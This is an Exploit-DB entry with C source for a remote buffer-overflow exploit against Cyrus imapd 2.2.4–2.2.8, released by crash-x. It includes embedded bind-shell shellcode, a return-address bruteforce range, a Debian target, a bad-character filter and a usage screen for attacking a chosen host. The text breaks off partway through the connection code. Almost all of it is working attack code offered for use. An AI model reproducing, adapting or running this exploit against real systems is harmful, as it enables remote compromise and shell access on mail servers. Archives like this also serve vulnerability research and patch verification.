Exploit-DB #903
Description: Cyrus imapd 2.2.4 < 2.2.8 - 'imapmagicplus' Remote Overflow
Type: remote
Platform: linux
Date: 2005-03-29
Author: crash-x

Exploit:
/********************************************************************************************
 *                                                                                          *
 *                 Cyrus imapd v 2.2.4 - 2.2.8 (imapmagicplus) Remote Exploit               *
 *                                  By crash-x / unl0ck                                     *
 *                               Bug found by Stefan Esser                                  *
 *                           www.unl0ck.org / www.coredumped.info                           *
 *                          crash-x@unl0ck.org / crash.ix@gmail.com                         *
 *                                                                                          *
 * Greets to:  all GOTFault ex-member, unl0ck, scozar, eos-india, xesio and all my other    *
 *             friends                                                                      *
 *                                                                                          *
 * Thanks to:  n2n                                                                          *
 *                                                                                          *
 * Why:        This was GOTFault code but Im releasing it with unl0ck. The only reason      *
 *             Im releasing it is that somebody leaked it. We didnt want to release any     *
 *             GOTFault stuff or give it to anyone besides GOTFault members. But somehow    *
 *             stuff got leaked and we had some problems in the team. tal0n disappeared     *
 *             and GOTFault doesnt exist anymore.                                           *
 *             Im sorry about GOTFault and I hope tal0n has a good time wherever he is and  *
 *             whatever he is doing.                                                        *
 *                                                                                          *
 ********************************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>

#define RET_BF_START 0x08000000
#define RET_BF_END 0x08600000

#define SHELL_PORT "34563"
#define SHELL_COMMAND "uname -a; id;"

char shellcode[] = /* thanks metasploit! */
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x16\x81\x73\x17\xb4\x1e"
"\xc2\x86\x83\xeb\xfc\xe2\xf4\x85\xc5\x35\x65\x04\x78\x91\xc5\xe7"
"\x5d\x91\x0f\x55\x55\x0f\x06\x3d\xd9\x90\xe0\xdc\x99\xc1\xc5\xd2"
"\x4d\x4b\x67\x04\x0e\x92\xd7\xe3\x97\x23\x36\xd2\xd3\x42\x36\xd2"
"\xad\xc6\x4b\x34\x4e\x92\xd1\x3d\xff\x81\x36\xd2\xd3\x42\x0f\x6d"
"\x97\x01\x36\x8b\x57\x0f\x06\xf5\xfc\x3a\xd7\xdc\x70\xed\xf5\xdc"
"\x76\xed\xa9\xd6\x77\x4b\x65\xe5\x4d\x4b\x67\x04\x15\x0f\x06";


struct targ{
    char *platform;
    int retloc; 
} targets[]= {
    { "Debian 3.1 - Cyrus imapd 2.2.8", 0x0812893c },
    { NULL }
};


void usage(char *a){
    int i;

    printf("[-] Usage: %s -h <host> [options]\n", a);
    printf("[!] Options:\n");
    printf("\t\t-h\tHostname which you want attack (required)\n");
    printf("\t\t-p\tPort of the imapd (default: 143)\n");
    printf("\t\t-t\tTarget (default: 0)\n");
    printf("\t\t-S\tBruteforce start address (default: 0x%x)\n", RET_BF_START);
    printf("\t\t-E\tBruteforce end address (default: 0x%x)\n", RET_BF_END);
    printf("\t\t-P\tPayload size (default: 10000)\n");
    printf("\t\t-s\tHow long to sleep before try connect to shell (default: 1)\n");
    printf("\t\t-v\tOnly vulncheck\n");
    printf("\t\t-V\tNo vulncheck\n");
    printf("[!] Targets:\n");
    for(i = 0; targets[i].platform; i++)
        printf("\t\t%d\t %s\n", i, targets[i].platform);
    printf("\t\t1337\t All Linux Distros (bruteforce)\n");
    exit(1);
}
    
int sockprintf(int sock, const char *s, ...){
    char *ptr;
    int bytes;
    va_list arg;
    va_start(arg, s);
    if(vasprintf(&ptr, s, arg) == -1){
        free(ptr);
        return -1;
    }
    va_end(arg);
    if((bytes = send(sock, ptr, strlen(ptr), 0)) == -1){
        free(ptr);
        return -1;
    }
    free(ptr);
    return bytes;
}


void check(char *ptr){
    int i;

    for(i = 0; i < strlen(ptr); i++){
        switch(ptr[i]){
            case '\x00':
                ptr[i] = 0x01;
                break;
            case '\x09': 
                ptr[i] = 0x08;
                break;
            case '\x0a': 
                ptr[i] = 0x0e;
                break;
            case '\x0b':
                ptr[i] = 0x0e;
                break;
            case '\x0c': 
                ptr[i] = 0x0e;
                break;
            case '\x0d': 
                ptr[i] = 0x0e;
                break;
            case '\x20': 
                ptr[i] = 0x21;
                break;
            case '\x22': 
                ptr[i] = 0x23;
                break;
            case '\x28':
                ptr[i] = 0x27;
                break;
            case '\x29':
                ptr[i] = 0x30;
                break;
        }
    }
}


int resolv(struct sockaddr_in *addr, char *hostn){
	struct hostent *host;

    if (!inet_aton(hostn, &addr->sin_addr)){
        host = gethostbyname(hostn);
        if (host == NULL){
            printf("[-] Wasnt able to resolve %s!\n", hostn);
            return -1;
        }
        addr->sin_addr = *(struct in_addr*)host->h_addr;
    }
}


int conn(struct sockaddr_in addr, int port){
    int sock;
    
    if((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1){
        return -1;
    }

    addr.sin_port = htons(port);
    addr.sin_family = AF_INET;

    if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) ==